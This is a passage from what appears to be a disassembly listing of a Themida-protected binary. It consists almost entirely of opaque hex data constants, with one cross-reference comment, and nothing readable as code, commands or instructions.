0BC01680Fh dd 0B5AA3FE4h, 24409CDCh, 48575A19h, 952D2E63h, 2289A279h dd 0C44579Ah, 644ABB0Bh dd 0EBDA80C2h, 4C2214A5h, 0B043360h, 0BE474C0Dh, 12A2B388h dd 0F8D1798Ah, 3E7C0B24h, 4DA8774Ch, 50CD2008h, 6A28EFDh dd 293D253Ah, 0B25BCC5h, 80BED167h, 0E7C5AC0h, 5F4CFD29h dd 19C51236h, 0D8D66E49h, 3A6F007Ah, 0F289BCA4h, 9A4AC9E9h dd 0F724F4h, 107A172Eh, 7067212Dh, 2CC4595Bh, 0CDBE0713h dd 9AFF9249h, 540A6E0h, 7B499135h, 8285BA0Eh, 7FF99DAFh dd 25E9733Ch, 489B941Ch, 1D203798h, 0E1970598h, 0AC2E5B08h dd 0A84DC4F8h, 0B8B80B13h, 0DE170CD7h, 2FE5FABEh, 5C5E2937h dd 1C800820h, 0DA82A48Eh, 3EA07CC4h, 59931E01h, 80DEAFC7h dd 9E37E90Ch, 12EED527h, 5E13389Ch, 0FD2FFFCDh, 89EB125Eh dd 4E33DAAAh, 0E9124CB7h, 6034BF6Ah, 19CCB281h, 63DEEB05h dd 0ECC15F7Dh, 39E9B092h, 0F279C096h, 83CC4723h, 3D64FAF6h dd 0E4B4EA77h, 0AE8D9555h, 5C9D7A80h, 0C00E5EF4h, 3AEBEA49h dd 584E5A88h, 0AC1B89E6h, 6EAB3E96h, 428FFB0Bh, 0A1970438h dd 634C6802h, 547EB346h, 99B4B62Fh, 57E28D6Eh, 5C0B2B5Ah dd 4F1F766h, 82A3D337h, 0A57FAD5Eh, 58EA2CAEh, 0B225E0C4h dd 1EC28001h, 9F08B959h, 4389D788h, 0C276F617h, 3344BC90h dd 0B4AAB3Ch, 85C801E5h, 0D7EBC728h, 0E9C29EBDh, 2D468F36h dd 2D685202h, 0F011BB50h, 20710B38h, 0B1823977h, 0FE80D2F7h dd 0B0885F7Dh, 890BF796h, 0C11657D6h, 64D5EF06h, 3C0C3354h dd 4D0D300Dh, 86F701h, 7851E908h, 45F730B7h, 0C1E6BC09h dd 3C0E8E9h, 0C8AB4A5Ch, 820B0513h, 63BE118h, 80F65505h dd 6F35E909h, 7E4226D2h, 0E9E0B20Dh, 48950825h, 82100704h dd 20E8D05Fh, 5B27F96Dh, 88F50A4Bh, 5F247419h, 570B612Fh dd 5E2CA588h, 0D1F15337h, 0BB269F7Fh, 2A54AB85h, 4CF0A1C4h dd 34400ABDh, 27A12465h, 0F2007E96h, 807A1FA2h, 828FD7E9h dd 2559E657h, 0A1849B7h, 0EC261E63h, 0A103CE37h, 1093CCCDh dd 2F92D5DEh, 4AD75C5Dh, 0EC3063Eh, 0F3076A90h, 16173982h dd 31CD616Fh, 0F688255Fh, 5E2D1A59h, 0E7F12F58h, 505DE942h dd 35685CAFh, 7A99705Ch, 8B0B3EA8h, 0DAA68756h, 0D887753Bh dd 0F393BFE7h, 0EA6816D7h, 27C07054h, 0B9D04B5Ch, 0EC3AB38Bh dd 5A54C556h, 40419BABh, 4517C1FEh, 92EE7EEAh, 78F15F12h dd 5C0D68C1h, 0B3E92451h, 0DA598BA4h, 2D39025Fh, 0C1D50BE0h dd 4BE8DFF9h, 0E8BDCA4Eh, 221EB2h, 0CB811FB5h, 0B0203C83h dd 645E0209h, 72E97B3Eh, 0B47D5BD0h, 4840F7EEh, 92F9FA50h dd 5F539F5Bh, 752696BEh, 2C68699Ch, 0C14562F3h, 38342E5Fh dd 0D5E357Fh, 2620E2BBh, 0BA8156A2h, 221F0EFCh, 0E2AD806Ah dd 4E3B6561h, 90C20571h, 0B7C15E11h, 76320345h, 47680205h dd 38D9444Dh, 1EE165Dh, 0BC432223h, 302C2019h, 0D94DFF04h dd 0F4BC2CE9h, 0CCC4CF5Ch, 0F188024Bh, 93BFA7FFh, 0AB792748h dd 0B90FCA4Fh, 6A656885h, 0F67964FBh, 0D75B7FFAh, 2E608D8Fh dd 68DFBA52h, 0E679DB31h, 86F99725h, 0C1AEE820h, 89535A2Eh dd 24DDC9F3h, 0DE41DB5Ch, 0E25D902Eh, 12322BF1h, 0EC4D9055h dd 0FAEF5867h, 0C701EC4Ch, 0F823F9F5h, 92E02A31h, 4B639AADh dd 9763A25Bh, 42EB69ABh, 8CD162B5h, 908E579Bh, 342A2B9h dd 0F181304Fh, 79E2605Eh, 95B244F5h, 0E6A4BE5Ch, 6E78D502h dd 0F264602Bh, 19B2FCFCh, 52525172h, 0BA05C0h, 0D2B9D8CEh dd 0D94E29BCh, 0DFEF3F95h, 0D0E91349h, 140E10BEh, 2CAFE9B1h dd 0B6826E3h, 9FD1252Dh, 63037F5h, 535F8028h, 4AF24D7h dd 80F387F1h, 0E6553329h, 0D716809Fh, 9026020Dh, 0E3DD62DAh dd 8975BCEEh, 0C5756B8h, 5B718FC5h, 1EE37E4Eh, 6EC0751h dd 0C8D39F65h, 0BD2B349h, 0A80B0F5Ch, 28DE3306h, 90D70882h dd 955F8921h, 426915FCh, 60E9A427h, 6B41BD0Fh, 883126CCh dd 301792F2h, 545C40D4h, 0D1895F12h, 71CFD80Bh, 0CE8100E7h dd 49071856h, 5901F6ECh, 0E92FEC11h, 0AF24A8FFh, 0A6770505h dd 0EEC62927h, 547928E3h, 0B2F185BDh, 6DD39F7Eh, 6EB5D4C4h dd 0DFAA2230h, 779A0383h, 0BDD97FB1h, 0D4E15127h, 4F830484h dd 104B468h, 0B4E882C2h, 0AED34307h, 0FE0C1F72h, 0C01E53CCh dd 5A0DBE57h, 0C1160E09h, 35E76EEh, 3B914E26h, 5A98FC33h dd 0BDE1E05Dh, 3F070C21h, 0D905D1F7h, 0E9F4C17Ch, 0DC100D26h dd 9D705051h, 934264B4h, 0FB34C8CEh, 1801240h, 516607CBh dd 0DE3018B1h, 0DCE338FDh, 0E520255Bh, 80785846h, 0CDFEEF17h dd 8805FCCAh, 0BED6F6EEh, 0DAE93507h, 0F28A46BBh, 55B859C8h dd 0E948E74Dh, 767BCB2Fh, 0FC561000h, 3ECF8118h, 6C0B7A49h dd 82F8ACE9h, 8C46BA05h, 81EA88D0h, 2AFDA567h, 306FF84Eh dd 4F1CEE41h, 28F624E9h, 3B35406Eh, 0F8953FF2h, 0EB89294Fh dd 533C1A90h, 7E49157Eh, 734505C0h, 0BE828489h, 8028684h dd 6A5696E9h, 0E782F7DDh, 465F9274h, 1BE525EDh, 0F85D9612h dd 9CB778F6h, 0C0584241h, 0B450E780h, 0EC1E80DFh, 4B7E2845h dd 301748A8h, 4291EFF8h, 2A30E2C1h, 458F632Bh, 99C101EAh dd 0D4B138C3h, 8A9719BEh, 0E53FBB14h, 0F3E12FCAh, 12B2023Fh dd 407D74AFh, 21E54122h, 11370137h, 75BB4AC2h, 0DF669D2Fh dd 0EB2C85A6h, 0A801EA05h, 8941638Ah, 7365416Eh, 20375C52h dd 54191EECh, 7B47678h, 1D75A540h, 8A3E4C4Bh, 5C015DC6h dd 9DA2DD20h, 965CDF40h, 2722C49Fh, 95D65456h, 0A66557C9h dd 0B073E984h, 0A3C7ADAAh, 38FF958Bh, 2585EAE5h, 0FECFA77Ch dd 8209B497h, 4095096h, 0EF4A8BBFh, 0FE00EA4Eh, 271A65D7h dd 39492EE9h, 8DC40CBh, 54F61699h, 0EE5C704Eh, 7802DE95h dd 0CEBD5502h, 774F363Eh, 9AFE7CC2h, 9DCD8100h, 9862871Ch dd 0AF21671Fh, 2F7F82C9h, 0BD06D2C0h, 1EAF5CEh, 0C135F10Ah dd 0FE5102D8h, 9995590Ch, 8E6CAE07h, 0E177A50Fh, 5FD926DBh dd 0DDC657EAh, 30BF0D08h, 0F541B798h, 87767F41h, 0B0700CA7h dd 245DA64Ch, 5B6480F6h, 4F9BF7ABh, 3B140EACh, 0AE1623A2h dd 0DECDD387h, 86090670h, 83D2F6D3h, 93D58852h, 0E9D2A7DAh dd 0FCA7EDEh, 5BE31B2Ch, 33B3D828h, 146815C0h, 0D0FC3548h dd 1E908F3h, 0B45F12ABh, 0EBB8C544h, 8BC40825h, 9FAB66E5h dd 0F72525D6h, 0E92C0B16h, 6887BB70h, 0DD0B61CFh, 0E9852695h dd 28EF1A98h, 5F95D3ADh, 41863F16h, 72B8F6B7h, 193B79A2h dd 5035C657h, 82C8CC58h, 0E2932157h, 0BC41D22Bh, 5203AC45h dd 0F65514F2h, 35D35925h, 7CA12F83h, 0A6A5F904h, 7AB1FC7Bh dd 217D8724h, 0A7785F52h, 0CB8645BFh, 0A0011477h, 649AE97h dd 75E97D53h, 5097F3CDh, 40145EBBh, 5507F1C3h, 415C21B9h dd 0DEED6C76h, 0EC418Ah, 99241699h, 0F263158h, 76713492h dd 2BAF0409h, 0C4820D87h, 0C755433Eh, 192A858h, 0C6C8A2Fh dd 0C25A5942h, 0C21C201Fh, 0E4030DCBh, 0BFDA4829h, 0B75B0840h dd 0D76916D1h, 2B7EC08Dh, 0A4F53ACCh, 26DC20E5h, 19EE2176h dd 79B77BB2h, 5355E9F1h, 0B8688447h, 0ACEAB2Fh, 47D7EE02h dd 28757FC5h, 0DE2F08ADh, 9CA514FBh, 3D196580h, 0C70BBE69h dd 0DC769031h, 71E9048Dh, 66A49716h, 6DB65D53h, 42D53830h dd 0E10EBFFAh, 12B45EA3h, 661EF7B0h, 0E6E05C65h, 0D8307B91h dd 89DD7ACh, 58014D95h, 52FC8850h, 0D1D4E2CDh, 9D5BF45Ah dd 838E8365h, 0DDFA1778h, 766EF450h, 0F618B2B5h, 9246A02h dd 6FF2C6A2h, 269C7203h dd 2DE29FEh, 5020E66Ah, 91833692h, 0ECB4523h, 6AC10C04h dd 0B3FFF097h, 4EEDD761h, 6BEDB22Ch, 9495080Eh, 1A500748h dd 7EEDE040h, 84D94F1Bh, 5B88ABBBh, 479B4065h, 229AC1B0h dd 0EB3EF997h, 92D55232h, 99FDC06Fh, 9E05805Bh, 0FAA7603Fh dd 7AC6D20h, 501F642Dh, 3C10F023h, 5AFE2696h, 0A24F8B4Ch dd 0B2D70929h, 33B0D581h, 5981DAD8h, 0B0C2E260h, 9BD55062h dd 0F5872C41h, 563F3D6Eh, 0EA7D5EBBh, 8EBF25E9h, 0F52582F9h dd 53F1AB91h, 0B9B14287h, 0D0AF8269h, 0F031EE63h, 0FD07826Ch dd 784A9764h, 19A250A8h, 807F0310h, 7E05F8BBh, 0DEBA50F0h dd 56C68AC2h, 17CC22A8h, 0F4263EE9h, 711EA873h, 0D0D77B34h dd 0A3AB36C5h, 0B05A276Dh, 80585542h, 0F869A9E9h, 0C8CB8270h dd 3EFDA85h, 88E4043h, 0A399A725h, 94F22E47h, 8AAC4Fh dd 680B0548h, 9531449Dh, 0E9CFA6E0h, 0A29D85E8h, 99215F7h dd 5E55C312h, 45F77266h, 2B14274Ah, 55A7389Eh, 6C5F173Ah dd 94C22BB5h, 61DE272Ah, 0A676D903h, 0B764B63Eh, 478C3B6Fh dd 16B3364Fh, 0BFD6E83Ah, 35D6B118h, 5F7497BCh, 0AE006DACh dd 4173A614h, 0DB681849h, 0B5D58D22h, 0BFEC7197h, 0AE122E25h dd 0A6C28254h, 8B4F56A3h, 0E4F6EE4Dh, 0A5BAA25Ah, 0EE66058Ch dd 41E68B8Ch, 557EE7Dh, 0C6EB3DACh, 0C2401066h, 130B5AE9h dd 71CFBA01h, 0EFF2E909h, 0D2621175h, 52F9847Bh, 0B450ACB8h dd 6A89E8F9h, 0C62D3EF6h, 1CD225B8h, 198BC755h, 2159B78Bh dd 0C2F5B6h, 6341DBFh, 0EFC124B5h, 75B0608h, 0A50577ADh dd 80722A88h, 0BE565FDFh, 0F2B39C00h, 0E9F131C0h, 559FAA66h dd 6F96195Ch, 2C1991FBh, 4DAD9B1Ah, 2448D37Dh, 1734510Bh dd 0F6A1A4A2h, 89FAF3F8h, 0E05BDD48h, 264AABE9h, 34590C66h dd 0F108408Ah, 33685D5Eh, 5C31305Bh, 9FB2EBE7h, 33D0766Eh dd 14005E98h, 0F6812E0Fh, 5027355Ah, 0DDAE33h, 9074F37h dd 4B69E9FEh, 0DA97FEA4h, 6A3521CDh, 0F67CE289h, 0D030E24Bh dd 505EA5F5h, 77DE8082h, 6BA07C66h, 1295C27Ah, 634E800Ch dd 0A004DD69h, 0C0CACBCDh, 5ACCBA1Eh, 0DABD7A9Dh, 134FE624h dd 16A8319h, 235316A7h, 48F5F068h, 6BDFCAEDh, 0C9CC05E2h dd 807D184Eh, 0D91CFDB3h, 0C502F976h, 3CE60E36h, 20E87429h dd 0EC5F5B08h, 0CDAC5AF4h, 0DE0667D4h, 0B830892Fh, 51154A2Fh dd 0B9F0C925h, 98A65220h, 0DC032534h, 5C0380F9h, 0F505158h dd 2F1AA29Ah, 0BFE7D125h, 96E94330h, 0E634D080h, 0CF57832Eh dd 0AAD24BC5h, 0F8528541h, 82EFFBF6h, 63580D39h, 5FFA139Bh dd 8CB64E3h, 3E7C0019h, 3D7E71DDh, 2AD86E40h, 7846432Eh dd 0C3553232h, 216D7E37h, 0CCE9622Ah, 1B0EA5F1h, 0FA61695Eh dd 610882AAh, 0CB9D7B38h, 9B18C9C3h, 0ABA061FAh, 0B8D7B8F6h dd 0B44F9EE8h, 595FEA0Ah, 0C3DD2CBh, 0C93A9341h, 90D238C2h dd 0B47B8182h, 66742F53h, 27E3EFC5h, 9CA4542Dh, 36E3FF63h dd 3527295Bh, 0E6F62FBFh, 376409D3h, 25C5B39Bh, 6F0FBBDDh dd 0DA6B0E8Ah, 590B7EFEh, 4349FEDAh, 10F3BD0Bh, 57138001h dd 4F79ED68h, 0A584BAEh, 0EE5E0624h, 173F454h, 31540D77h dd 0C03ED029h, 328805E8h, 242DF0F1h, 78C6181Dh, 9F42DA67h dd 526028D9h, 0AB285B68h, 47120550h, 807E9C04h, 7221E259h dd 213F33Bh, 3F4CE6CAh, 8F10572Ch, 68275B54h, 0A882F97Fh dd 2F790F67h, 30C44C05h, 3DDCA317h, 5932EE2h, 0F759CF01h dd 43A51D7h, 0F4C24705h, 554C50B7h, 899C7A7Bh, 7A100026h dd 9F414853h, 535C2C7Fh, 80C55EBDh, 5B4EF181h, 3BB81B79h dd 2D6AD395h, 81800553h, 7058DDE7h, 0AD29866h, 147303A6h dd 0B9D09C3h, 6E85A7E8h, 7EF2CB51h, 8135D84h, 8D200D99h dd 0A3111799h, 28A341Dh, 3BB652CFh, 0A0918FDFh, 4B7A4C5Eh dd 5CA21405h, 0C227D2A5h, 0E989D8F6h, 9DEFD8F0h, 5C71087Eh dd 93CF86Fh, 5E955AE9h, 0C256E76Eh, 45D7357Eh, 0C2050935h dd 5DC9BAFDh, 73549C48h, 8977C62Fh, 6A0F608Fh, 31602539h dd 68758755h, 0E90EB790h, 9775BA1Ah, 0B6CF915Eh, 5BC4C0BAh dd 251EC505h, 0A3C97E54h, 1870734Ah, 0F1051331h, 3868DA1Eh dd 5DC2FF89h, 0B2883D3h, 4B0CF125h, 0A4AC052Ah, 16A0B3Fh dd 1C1ACDCEh, 0AF5E2023h, 77F96617h, 5C3CF7B4h, 1FDE52FAh dd 0F9E8AD4Eh, 0D000F708h, 55293935h, 90C689D3h, 0A4165A3Bh dd 0C141CE32h, 3412816Bh, 58C2C0E7h, 0A4EC8007h, 0C457D428h dd 0B1515A50h, 74709D90h, 0E6885202h, 0D2F272E9h, 95EF0465h dd 0F8890331h, 1FF11838h, 510D1FDh, 0E8011287h, 0FD07102Dh dd 0BDD2A84Bh, 11D32869h, 9863A2E2h, 0B6F83CB9h, 57950192h dd 5077C14h, 55536478h, 6841A050h, 252D0426h, 0B1580716h dd 0CA070755h, 981BA011h, 0E9C70BC4h, 7C4B0D1Dh, 34EEE4h dd 0A148FCABh, 0A32E8406h, 655F0614h, 2C2820h, 45B60908h dd 7BAEEE81h, 9A524F2Dh, 8B268431h, 20430913h, 2960BE87h dd 30096151h, 0D801CB3Eh, 0B539DC61h, 102955E0h, 0F6F23F2Fh dd 0A03E9382h, 0B502BE39h, 314C4950h, 7EE57DDEh, 65F32FBEh dd 50FCAD1Dh, 18A24C3Fh, 740C1311h, 8E321DD5h, 72836DE9h dd 0F081DBB6h, 5206995Ah, 5DE22810h, 7AEB7D5Eh, 599B25CAh dd 58B8D664h, 0DEDC3BFFh, 47519F2Ch, 99BE02E4h, 4EA56D18h dd 985B37FBh, 0EFFA87D0h, 607D731h, 4F2B419Dh, 26F0A43Fh dd 0D861ABB8h, 44F95893h, 0AC5EE468h, 0F65EA22Bh, 9DFD693Eh dd 9CD7AD61h, 146BDBDh, 5E5744A2h, 99637213h, 9F212212h dd 53458F30h, 481D4CFCh, 5EB75020h, 0AD960340h, 90EA3CE8h dd 0D327B754h, 10D6E935h, 2D545B5Ah, 51572BC2h, 56206ED6h dd 4CBB6855h, 0B4AC42Ch, 3B64F501h, 907F1A20h, 77DBF69Ah dd 0E950E406h, 4C459022h, 0B925C9F1h, 0B437712h, 89703AD1h dd 6876E47Dh, 2F4B0F5Eh, 84E9647Bh, 3031ECA5h, 8062E92Fh dd 50F6BBF9h, 5EC09759h, 0D92F0B71h, 29035F75h, 2606CBA4h dd 527BB0BFh, 0B3EF0698h, 0C224743h, 4941EA07h, 2CB8338h dd 64154CE6h, 9E5B6BCh, 0F594E694h, 0AD5E89F6h, 0BFE09089h dd 9FCAA4B3h, 1407558h, 1C773C21h, 81AF7A15h, 2F2EFC4Fh dd 5D108A3Bh, 43DED31Ch, 1F8F395h, 1FAF41BDh, 0E1EF893Dh dd 80004FF9h, 0AE9F11C3h, 775AA9DDh, 5447FA31h, 5854FC9Dh dd 6A7B0076h, 0DFF76555h, 0B36025E9h, 0EA1D38FFh, 6EFB317Bh dd 3A70E936h, 55B91209h, 0D548F02Bh, 0D8262EA4h, 0EE027D0Eh dd 49207B3Ch, 0D28B0896h, 0AD5268EBh, 4543CE05h, 2CAA5A10h dd 31403A59h, 5C80129h, 10714682h, 0D0D82B59h, 5F0239F6h dd 3A840500h, 0F029280Dh, 40E3E925h, 4E12688Eh, 0C64B3208h dd 27D52C4Ah, 9A190D4Ch, 9979D44Dh, 4C5C375Dh, 0A960B14Bh dd 291C8D59h, 42A904Bh, 27220DE3h, 0B1308005h, 0F25FA8D0h dd 0C7BE6D85h, 5FF930EEh, 5950CE09h, 66BFC0A0h, 0D22B76Eh dd 0D1FFCAFFh, 0C0A91356h, 0D3885363h, 17607FE5h, 0C4255568h dd 1E98F299h, 162CCBC1h, 0A7DBE828h, 2D9050D3h, 12FD06B3h dd 4704F198h, 352B6568h, 0AC9A8096h, 785EA12Fh, 404E8B82h dd 244F52D9h, 2F46639Ch, 0DE712FE2h, 58074C4Ch, 0A486794h dd 0F168BB97h, 488269FFh, 0C69F3955h, 0B2B27D0Ch, 0B0D8F73Bh dd 8143CD61h, 2F200ACBh, 3BC5038Ch, 0AC34289h, 4A4C8780h dd 495814F8h, 0B7F20028h dd 32E9EDC7h, 534CCFD3h, 6B70CB2Bh, 0BD9EC0B7h, 0B8C77630h dd 9701E88Bh, 0E9339EC8h, 74BFF832h, 92D5C04Dh, 6C1F265Eh dd 0E487016Bh, 4431CA7Eh, 0A78880F6h, 29023B74h, 2DD20305h dd 9B665D34h, 9CF4BB2Ah, 5DB0C104h, 0C0BE0210h, 253C682Bh dd 8F8F1897h, 89D99EB6h, 97DC5CE7h, 0C16BC485h, 1C002EFCh dd 0E9136E4Fh, 5BC0F19Ch, 523480EEh, 28F2902Ch, 0F88B15D2h dd 28743FCFh, 0D1D27732h, 39315177h, 23F99D70h, 2036BAC0h dd 0E90C1241h, 54EC033h, 0EE2E5683h, 531FF74Ah, 0E9A08456h dd 0D8594E54h, 0B64BAF80h, 3029B124h, 97773043h, 306BE2E0h dd 0F76E171Bh, 4C0392DAh, 85BC67F6h, 7D575255h, 539CB501h dd 0D06F7B5Fh, 0A8E9D157h, 0E394194Ah, 6B463580h, 42D76E3h dd 0BD5FD1C3h, 65CFFE72h, 0D445C864h, 0A89BAB92h, 0E9878C4Eh dd 0FDA4DF25h, 93567F27h, 51027506h, 6C68E389h, 1E547165h dd 3B7C4150h, 3B5811A0h, 4B358DCDh, 9750E970h, 7B98C8A7h dd 79ACBD9h, 90FA5DA3h, 12735B34h, 8FC9F3EEh, 5442397Dh dd 0A554BC3Eh, 23FF3EAh, 0A6685854h, 0C1D19B5Bh, 0E7511283h dd 480640CBh, 0CDF85605h, 2CEA092Ch, 0BD0555ABh, 47A93828h dd 0E00407AEh, 9C403B36h, 6A2F2992h, 48BA7E58h, 579802E9h dd 5C4137CCh, 2D4FF02Eh, 0CB78E93Eh, 48CE1FD0h, 0AC284CE0h dd 755EF513h, 0AAA6BFA4h, 0C840AE5Fh, 5A5EF329h, 7AF63D2Dh dd 0D8017585h, 0F071205h, 60E1C8D7h, 3017505Fh, 786B93D6h dd 0F784003Ch, 5E5AA828h, 2D42F9DBh, 52C182A2h, 539AD768h dd 0F7EE0857h, 0B3FE5345h, 0BE79A179h, 0B2E0772Bh, 98DF2299h dd 84726311h, 165F7D01h, 4F1A6802h, 58C4DC68h, 904B1FBFh dd 229B465Ah, 7A277366h, 42287970h, 28E8B729h, 522454C5h dd 331333B6h, 0FD2FBCB1h, 19E9F0FCh, 1C5FB123h, 5BFA80C7h dd 59EA3058h, 0E06053B8h, 69E96E06h, 0A8B965h, 7F3D3506h dd 2D005960h, 0EC3516Bh, 3B66C281h, 0AB5FDB45h, 4F080810h dd 12FAC4D9h, 7CFEDC1h, 6CEE86C9h, 4290D06h, 0D56AC075h dd 9FC33AADh, 0FC32AAE9h, 888A6005h, 28EF8BD1h, 4A30BCEFh dd 0E99A43E1h, 7D5A9CBEh, 0A118A7FCh, 0D6C73BB0h, 2C48797Ch dd 0D7DC2FECh, 9B404F12h, 0B62C3747h, 3D9CB77Eh, 0D5422A49h dd 896B1698h, 0B580D582h, 1D9B5FC2h, 1A410D04h, 9D817C55h dd 5DC90872h, 2B9A7080h, 0F829128Eh, 807DC5BDh, 0FE40DD0h dd 0C2A8371Ah, 0B212162Dh, 0E5EBB167h, 93D82E3Dh, 9345BF0Ah dd 54105F27h, 36F3F368h, 2EDC0920h, 35B0D51Ch, 6C2DE94Ah dd 686B98C0h, 0F3724E88h, 12809116h, 62FEAE85h, 0A5D8966Eh dd 9B4B682Fh, 7C3C043h, 5E6125CEh, 413B6930h, 0E91F4805h dd 0AB8879B2h, 0EB101E2Dh, 2FEFDF32h, 0C3C7920h, 0D4984C29h dd 747C0D03h, 51E3C106h, 4260E406h, 69761D35h, 0FDF38352h dd 0AA13791Ah, 9DFECD71h, 0AFFDBF44h, 0BD7DC097h, 11170007h dd 46C7BE5Fh, 0E1B0C561h, 0B17C710Bh, 0A0D2FE6Bh, 0F8EB8308h dd 95502FBCh, 76D47B00h, 59F0911h, 810EA83h, 0E95E823Ch dd 274A7E7Fh, 4C7E2000h, 41F87B5Dh, 59268B95h, 0E2E9C1FEh dd 0E387528Fh, 77EFD80h, 1B02BA52h, 9573549h, 58B8DED3h dd 271664C3h, 16E4FD1Dh, 892D4059h, 0E3D135A3h, 8DB10161h dd 9D8E1CDCh, 68047A47h, 68EB393Fh, 142FE920h, 68871032h dd 0CC454FABh, 5073C285h, 0E716D475h, 88ABDEE9h, 7495014Ch dd 0B7D189F2h, 3660C4DDh, 10D3A931h, 8B76DF0Fh, 5A59F67h dd 9DEA5C99h, 7E0CF9C6h, 0B7B98214h, 2ABDED60h, 84375844h dd 767B147Eh, 0A55ACA57h, 520CAD0Eh, 0D9E92E1Ah, 0FD8889D5h dd 83F661D2h, 913BCB4h, 0D42367EEh, 3FDCEC94h, 0C3542468h dd 51579EC2h, 794AA0D4h, 845ABD58h, 0E83AF195h, 0C5A8092Fh dd 0D3CAC9D7h, 8816052Ah, 0C536A2FCh, 269138E9h, 0F321D830h dd 0E601247Eh, 58C50B1Eh, 9549E457h, 0E9130C58h, 555A48C1h dd 625C79C4h, 65C103EEh, 0E0BA027Ch, 903644C2h, 3DDA0286h dd 0D701C2F1h, 12F5A584h, 6CA829F1h, 4BEE0186h, 0E918CB32h dd 0D609F256h, 0F2183CCAh, 21A75746h, 0B0397A26h, 1874893Ah dd 2460F754h, 2A037CE7h, 0AEE90D9Dh, 0A3AE84ACh, 5BF95872h dd 0BBEF16FEh, 1F518D28h, 162C1AB9h, 0FB4EFB69h, 0EAAB598Eh dd 205F56Ah, 66772CFAh, 0FCFA2C89h, 8F27BF34h, 4CF7FAC2h dd 98B03F1Dh, 0FD0E4D13h, 30317D23h, 563532F7h, 40000262h dd 59997D2Dh, 0C77F2997h, 5F8A3026h, 25D24452h, 0D6C62532h dd 10AB4C25h, 0E1020581h, 17C88E7Eh, 0A6B08DE9h, 0C39D3C61h dd 0B19D2034h, 0C20A5CCAh, 6266C2A0h, 9ED12980h, 0B8A6BD18h dd 0C9688B4Bh, 40851AF5h, 2551A84Dh, 0E8773107h, 383921B0h dd 689753CDh, 398CAAE3h, 0B76412F4h, 37BB012Ah, 3A396AEEh dd 34E969F0h, 0FF2CA2E1h, 10E5A1D3h, 62B1DF92h, 7B30222h dd 0A0FEC254h, 0EE1B665Dh, 686991Eh, 164B746Ch, 66BB4D60h dd 4C54685Bh, 0B3C15B6Fh, 0F4D9307Fh, 970BB551h, 844BCD80h dd 0D1FC13C4h, 0B4587912h, 0C16BD42Bh, 0FE0F774Ah, 0FA76DCC4h dd 3BF5752Dh, 0EF813780h, 1A687EE5h, 0E2CF0132h, 72FADEB2h dd 0ED45B15Dh, 5E4DB82Eh, 0A61966A8h, 3A557C70h, 0CEF0168Dh dd 0BD51CE45h, 10D44823h, 52A55603h, 884D21EDh, 0C1DB16E9h dd 3499BD3Fh, 0E5456128h, 2BA0023h, 5032256Eh, 82D58FB2h dd 55AFC11Ch, 8CAE25Ch, 591D242Eh, 0F79C3989h, 0B82D16ECh dd 4454B201h, 0A11A24A5h, 9E25B9Dh, 3927DB54h, 166B36D5h dd 0A773FB66h, 0D2211087h, 92EC4A9Eh, 0ED20EEE5h, 0C9A37DE9h dd 0A3555B2Ah, 1658C75Bh, 0B96CBBC2h, 0D7D12FE1h, 70EB900h dd 56DD2FEDh, 38DA927Bh, 546405ABh, 4A28EE83h, 0A4E24FA6h dd 3F2C7DA8h, 3B095C8Dh, 822074AAh, 1F42469Bh, 0AF973461h dd 73B0620Dh, 0EA990DC1h, 0C7F13ED5h, 50190F3Eh, 68E062A9h dd 59170131h, 0E20B5658h, 0F83E5F41h, 82BCEEECh, 0C0BF115Ah dd 8751522Ch, 0B5A052DCh, 578B9A59h, 0FAC557C2h, 33E9D7AEh dd 26180329h, 290EFE4Ah, 88184B6h, 5C879258h, 0AEF1AC17h dd 48FBDB6Eh, 4CA824C7h, 36821C93h, 0BFDAD0F5h, 0F70E325Bh dd 3084070Ch, 1350E960h, 0E5414E8Ah, 5F080348h, 0A917A6F7h dd 48ECB04h, 0ECAB6A99h, 148A1C7Eh, 735C0320h, 415918D0h dd 0AED498E2h, 14FF4D17h, 0F905B629h, 0E03F4BD7h, 54B7A50Fh dd 4EBF8329h, 7A0106A1h, 0F95EB145h, 97AF4E9h, 2482BBD9h dd 0F6E0609Fh, 83284B26h, 0FC3BE919h, 0C94E5E41h, 42C773E9h dd 3FD2F9D7h, 39B0F06Ch, 4187FFCh, 1AC3C44Bh, 0F51D2F3Eh dd 10C13D09h, 0DAF48482h, 8FC04ABh, 0C22CAB87h, 0AEA5B9C3h dd 851921Ah, 752DE236h, 0D5266522h, 0ACCC7175h, 0BB68124Ah dd 81003539h, 2D12CFBEh, 96D7010Fh, 0B773F24Bh, 68C02BD6h dd 3C956D7Ch, 8BCA5E75h, 0EB00769Fh, 22AD6FA8h, 1F31BE56h dd 15FFE40h, 0F76766F6h, 4A413C3Ch, 0EBA01203h, 65D42CD3h dd 29F7A5A6h, 0FD68D7BEh, 679D6368h, 0E9BB2F17h, 0ADE93212h dd 1780CC24h, 1AA96E46h, 0B4AB810h, 0FE971CF8h, 80E95823h dd 5CE00770h, 0C9CD797h, 0C660DF98h, 4B5EB862h, 404A2E9Eh dd 2D42420h, 4DE74C6Ch, 895963D0h, 0D1A32ADFh, 26C25E7Ah dd 0DD24705Dh, 2A03AE41h, 2282AF2h, 0A0A803CFh, 0CB31107Dh dd 1387EB48h, 94AFE34Ah dd 0DC46C078h, 0EB9DE6BCh, 6B31CFBFh, 906FFD68h, 2A1D23CDh dd 0D1C1EDAh, 14171C08h, 497EC6E7h, 0F40FCC1Eh, 25827209h dd 32561FE9h, 34308EBDh, 77C0771Dh, 96FB908h, 5C294BDEh dd 206BF157h, 2D08900Ch, 1CDD8B8Ah, 0C5FC20CAh, 50C8310Bh dd 1690F351h, 7EFDB119h, 0BFE33720h, 1FEB2839h, 0A8024E9Ah dd 9D7F1CA3h, 0E9C0DF97h, 0E109C868h, 0D258F93Ah, 89BE7512h dd 7A3D4179h, 0A8E22475h, 0C9A23C9Ah, 0FBD7334Ah, 4FE9619Ah dd 0C9CA2B6Ah, 21EC097Ch, 0A8554B41h, 933E0854h, 8AFFED88h dd 0FB5F7D5Eh, 7C6160B5h, 0D4E2AEE1h, 0C9527257h db 32h, 2Ah, 0B9h byte_4F20F7 db 4Ch ; DATA XREF: Themida_:00561FEEo dd 2A96DF57h, 1B18D795h, 35FAE68h, 5ED57A98h, 82767516h dd 3F20CE5h, 5A64D625h, 788D207Eh, 776B6802h, 555D31FCh dd 613298C8h, 5E626697h, 0CE90C512h, 32E84A66h, 1007C6A5h dd 9098949Dh, 0E88D697Eh, 3DA7C1FDh, 5A83A920h, 6228CAABh dd 0DCD13981h, 0A94A74h, 0A4E6609h, 290EE181h, 0C2017533h dd 555D34F1h, 38546B40h, 0C02C0B88h, 196CC25Bh, 58F6657Fh dd 